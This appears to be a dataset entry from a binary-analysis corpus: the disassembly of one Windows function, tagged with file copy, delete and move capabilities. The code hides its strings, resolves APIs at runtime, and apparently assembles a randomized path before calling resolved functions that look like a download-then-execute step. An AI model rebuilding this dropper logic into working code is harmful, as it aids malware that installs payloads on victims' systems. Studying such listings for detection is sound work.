Function at 0x401120
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa58
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x74], 0x2382
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x74]
jae 0x4011ab
push str.lplpl0l0ll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x402194
push 0x4021a4
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x4021b4
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x401195
push 0x4021bc
push 0x4021cc
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.lplpl0l
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x401144
mov ecx, 8
mov esi, 0x4021ec
lea edi, [ebp - 0xe0]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x40220c]
mov dword [ebp - 0xb0], edx
mov eax, dword [0x402210]
mov dword [ebp - 0xac], eax
mov cx, word [0x402214]
mov word [ebp - 0xa8], cx
mov dl, byte [0x402216]
mov byte [ebp - 0xa6], dl
mov eax, dword [0x402218]
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x40221c]
mov dword [ebp - 0xa0], ecx
mov edx, dword [0x402220]
mov dword [ebp - 0x9c], edx
mov ax, word [0x402224]
mov word [ebp - 0x98], ax
mov ecx, dword [0x402228]
mov dword [ebp - 0x100], ecx
mov edx, dword [0x40222c]
mov dword [ebp - 0xfc], edx
mov eax, dword [0x402230]
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x402234]
mov dword [ebp - 0x14], ecx
mov edx, dword [0x402238]
mov dword [ebp - 0x10], edx
mov eax, dword [0x40223c]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x402240]
mov dword [ebp - 0xf4], ecx
mov edx, dword [0x402244]
mov dword [ebp - 0xf0], edx
mov eax, dword [0x402248]
mov dword [ebp - 0xec], eax
mov ecx, dword [0x40224c]
mov dword [ebp - 0xe8], ecx
mov dx, word [0x402250]
mov word [ebp - 0xe4], dx
mov al, byte [0x402252]
mov byte [ebp - 0xe2], al
mov ecx, 6
mov esi, 0x402254
lea edi, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [0x402270]
mov dword [ebp - 0x94], ecx
mov edx, dword [0x402274]
mov dword [ebp - 0x90], edx
mov eax, dword [0x402278]
mov dword [ebp - 0x8c], eax
mov cx, word [0x40227c]
mov word [ebp - 0x88], cx
mov edx, dword [0x402280]
mov dword [ebp - 0xc0], edx
mov eax, dword [0x402284]
mov dword [ebp - 0xbc], eax
mov ecx, dword [0x402288]
mov dword [ebp - 0xb8], ecx
mov edx, dword [0x40228c]
mov dword [ebp - 0xb4], edx
mov eax, dword [0x402290]
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x402294]
mov dword [ebp - 0x48], ecx
mov dx, word [0x402298]
mov word [ebp - 0x44], dx
mov al, byte [0x40229a]
mov byte [ebp - 0x42], al
mov ecx, dword [0x40229c]
mov dword [ebp - 0x84], ecx
mov dl, byte [0x4022a0]
mov byte [ebp - 0x80], dl
mov eax, dword [0x4022a4]
mov dword [ebp - 0x40], eax
mov cl, byte [0x4022a8]
mov byte [ebp - 0x3c], cl
mov edx, dword [0x4022ac]
mov dword [ebp - 0x38], edx
mov eax, dword [0x4022b0]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x4022b4]
mov dword [ebp - 0x30], ecx
mov dx, word [0x4022b8]
mov word [ebp - 0x2c], dx
mov eax, dword [0x4022bc]
mov dword [ebp - 8], eax
mov cx, word [0x4022c0]
mov word [ebp - 4], cx
mov dl, byte [0x4022c2]
mov byte [ebp - 2], dl
lea eax, [ebp - 0xb0]
push eax
call section..text
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x4016f0
lea ecx, [ebp - 0xa4]
push ecx
call section..text
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4016f0
lea edx, [ebp - 0x100]
push edx
call section..text
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
je 0x4016f0
lea eax, [ebp - 0x14]
push eax
call section..text
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4016f0
lea ecx, [ebp - 0xf4]
push ecx
call section..text
add esp, 4
push eax
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x4016f0
lea eax, [ebp - 0x6c]
push eax
call section..text
add esp, 4
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4016f0
lea edx, [ebp - 0x94]
push edx
call section..text
add esp, 4
push eax
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x4016f0
lea ecx, [ebp - 0xc0]
push ecx
call section..text
add esp, 4
push eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4016f0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
lea eax, [ebp - 0x38]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x38]
push ecx
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x428]
push eax
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x850]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [ebp - 0x20]
lea eax, [ebp - 0x4c]
push eax
call section..text
add esp, 4
lea ecx, [ebp - 0x4c]
push ecx
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x644]
push eax
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
lea ecx, [ebp - 0x644]
push ecx
lea edx, [ebp - 0x850]
push edx
push str._s_s
lea eax, [ebp - 0xa58]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0xa58]
push ecx
call dword [ebp - 0x24]
test eax, eax
jne 0x4016c8
lea edx, [ebp - 8]
push edx
call section..text
add esp, 4
lea eax, [ebp - 8]
push eax
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x414]
push edx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0x104
lea eax, [ebp - 0x400]
push eax
lea ecx, [ebp - 0x414]
push ecx
call dword [ebp - 0x20]
lea edx, [ebp - 0x84]
push edx
call section..text
add esp, 4
lea eax, [ebp - 0x84]
push eax
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x1e4]
push edx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
lea eax, [ebp - 0x1e4]
push eax
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x400]
push edx
push str._s_d_s
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea ecx, [ebp - 0xe0]
push ecx
call section..text
add esp, 4
lea edx, [ebp - 0xe0]
push edx
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x1d0]
push ecx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
lea edx, [ebp - 0x40]
push edx
call section..text
add esp, 4
lea eax, [ebp - 0x40]
push eax
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x1f8]
push edx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x630]
push eax
lea ecx, [ebp - 0x1d0]
push ecx
push 0
call dword [ebp - 0x70]
test eax, eax
jne 0x4016c8
push 0
push 0
push 0
lea edx, [ebp - 0x630]
push edx
lea eax, [ebp - 0x1f8]
push eax
push 0
call dword [ebp - 0x78]
mov ecx, dword [ebp - 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10